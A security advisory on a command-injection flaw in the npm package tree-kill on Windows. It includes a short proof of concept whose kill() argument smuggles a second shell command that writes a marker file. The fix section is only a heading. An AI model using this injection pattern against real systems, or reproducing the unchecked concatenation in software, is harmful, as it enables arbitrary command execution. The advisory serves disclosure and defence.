    Command Injection

    tree-kill is a package to kill all processes in the process tree, including the root process.

    Affected versions of this package are vulnerable to Command Injection. User input is concatenated with a command within tree-kill and treekill that will be executed without any check.

    Note: This vulnerability is only applicable if the package is used on a Windows operating system.

    PoC by mik317

    1. Create this POC file
    //poc.js
var kill = require('tree-kill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
    1. Execute the following commands in another terminal:
    npm i tree-kill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)
    1. A new file called HACKED.txt will be created, containing the HACKED string

    How to fix Command Injection?
